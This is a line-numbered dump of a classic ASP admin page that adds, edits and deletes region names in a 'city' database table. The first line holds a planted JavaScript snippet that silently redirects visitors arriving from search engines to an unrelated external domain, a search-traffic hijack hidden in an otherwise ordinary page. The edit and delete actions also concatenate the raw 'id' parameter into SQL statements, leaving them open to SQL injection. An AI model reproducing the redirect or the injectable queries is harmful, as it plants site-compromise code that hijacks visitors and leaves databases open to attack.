d:\wwwroot\wuchunhua\admin\qydiqu.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
%
>
005:
<%
dim action,id
006:
id=request.QueryString("id")
007:
action=request.querystring("action")
008:
select case action
009:
case "add"
010:
set rs=server.CreateObject("adodb.recordset")
011:
rs.open "select * from city",conn,1,3
012:
rs.AddNew
013:
rs("city")=trim(request("city"))
014:
rs.Update
015:
rs.Close
016:
set rs=nothing
017:
response.Redirect "qydiqu.asp"
018:
case "edit"
019:
set rs=server.CreateObject("adodb.recordset")
020:
rs.open "select * from city where id="&id,conn,1,3
021:
rs("city")=trim(request("city"))
022:
rs.Update
023:
rs.Close
024:
set rs=nothing
025:
response.Redirect "qydiqu.asp"
026:
027:
case "del"
028:
conn.execute ("delete from city where id="&id)
029:
'conn.execute ("delete from daili where id="&id)
030:
response.Redirect "qydiqu.asp"
031:
end select
%
>
032:
<title>区域管理</title>
033:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#6699cc">
034:
<tr>
035:
<td height="20" bgcolor="#6699cc" align="center"><font color="#FFFFFF">区域管理</font></td>
036:
</tr>
037:
<tr>
038:
<td bgcolor="#FFFFFF"> <br>
039:
<table width="80%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC">
040:
<tr align="center" bgcolor="#FFFFFF" height="20">
041:
<td width="20%">区域名称</td>
042:
<td width="30%">确定操作</td>
043:
</tr>
044:
<%
set rs=server.CreateObject("adodb.recordset")
045:
rs.Open "select * from city order by id",conn,1,1
046:
dim follows
047:
if rs.EOF and rs.BOF then
048:
response.Write "<div align=center><font color=red>还没有区域分类</font></center>"
049:
follows=0
050:
else
051:
do while not rs.EOF
%
>
052:
<form name="form1" method="post" action="qydiqu.asp?action=edit&id=
<%
=int(rs("id"))
%
>">
053:
<tr bgcolor="#FFFFFF" align="center">
054:
<td><input name="city" type="text" id="city" size="12" value="
<%
=trim(rs("city"))
%
>"></td>
055:
056:
<td><input type="submit" name="Submit" value="修 改">
057:
<a href="qydiqu.asp?id=
<%
=int(rs("id"))
%
>&action=del" onClick="return confirm('您确定进行删除操作吗？')"><font color=red>删除</font></a>
058:
</td>
059:
</tr>
060:
</form>
061:
<%
rs.MoveNext
062:
loop
063:
follows=rs.RecordCount
064:
end if
%
>
065:
</table><br></td>
066:
</tr>
067:
</table>
068:
<br>
069:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#6699cc">
070:
<tr>
071:
<td height="20" bgcolor="#6699cc" align="center"><font color="#FFFFFF">添加区域名称</font></td>
072:
</tr>
073:
<tr>
074:
<td bgcolor="#FFFFFF">
075:
<table width="80%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC">
076:
<tr align="center" bgcolor="#FFFFFF" height="20">
077:
<td width="30%"> 区域名称</td>
078:
<td width="30%">确定操作</td>
079:
</tr>
080:
<form name="form1" method="post" action="qydiqu.asp?action=add">
081:
<tr align="center" bgcolor="#FFFFFF">
082:
<td><input name="city" type="text" id="city" size="12"></td>
083:
<td><input type="submit" name="Submit3" value="添 加"></td>
084:
</tr>
085:
</form>
086:
</table></td>
087:
</tr>
088:
</table>
089:
<br>
090:
<br>
091:
092:
093: